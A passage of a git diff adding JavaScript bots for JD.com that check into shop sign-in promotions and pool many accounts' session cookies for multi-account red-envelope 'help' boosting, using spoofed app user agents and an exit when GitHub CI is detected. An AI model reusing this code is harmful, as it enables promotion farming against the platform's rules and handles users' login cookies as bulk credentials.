console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_dyj_help.js b/backUp/jd_dyj_help.js new file mode 100644 index 0000000..043ec3e --- /dev/null +++ b/backUp/jd_dyj_help.js @@ -0,0 +1,527 @@ +/* +发财大赢家助力 +更新时间:2021-7-15 +0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_dyj_help.js +*/ +const $ = new Env("发财大赢家助力") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +let pins = process.env.dyjHelpPins ?? "" +let cookie = '' +let helps = [] +let tools = [] + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if(!pins){ + console.log("请设置环境变量dyjHelpPins") + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + if(pins && pins.indexOf(pin)!=-1){ + data = await openRedEnvelopeInteract({}, cookie) + if(data?.code==16020)continue + data = await redEnvelopeInteractHome() + redEnvelopeId = data?.data?.redEnvelopeId + markedPin = data?.data?.markedPin + amount = data?.data?.amount + helps.push({id: i, redEnvelopeId: redEnvelopeId, markedPin: markedPin}) + } + tools.push({id: i, cookie: cookie}) + } + while (helps.length && tools.length) { + tool = tools.pop() + cookie = tool.cookie + data = await openRedEnvelopeInteract({redEnvelopeId: helps[0].redEnvelopeId,inviter: helps[0].markedPin, helpType:"1"}) + errMsg = data?.data?.helpResult?.errMsg + if(errMsg){ + console.log(`${tool.id}->${helps[0].id} ${errMsg}`) + if(errMsg.indexOf("成功提现")!=-1){ + console.log(errMsg) + helps.shift() + tools.unshift(tool) + } + } + } +})() +function openRedEnvelopeInteract(body = {}) { + body.linkId = "yMVR-_QKRd2Mq27xguJG-w" + return new Promise(resolve => { + $.get({ + url: "https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body="+JSON.stringify(body)+"&t=" + Date.now() + "&appid=activities_platform&clientVersion=3.5.6", + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com', + 'Origin': 'https://wbbny.m.jd.com' + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data) + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) + } + + function redEnvelopeInteractHome() { + return new Promise(resolve => { + $.get({ + url: "https://api.m.jd.com/?functionId=redEnvelopeInteractHome&body={%22linkId%22:%22yMVR-_QKRd2Mq27xguJG-w%22,%22redEnvelopeId%22:%22%22,%22inviter%22:%22%22,%22helpType%22:%22%22}&t=" + Date.now() + "&appid=activities_platform&clientVersion=3.5.6", + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com', + 'Origin': 'https://wbbny.m.jd.com' + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if(data.data){ + console.log(data.data.bizMsg) + } + if(data.errorMessage){ + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) + } + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + 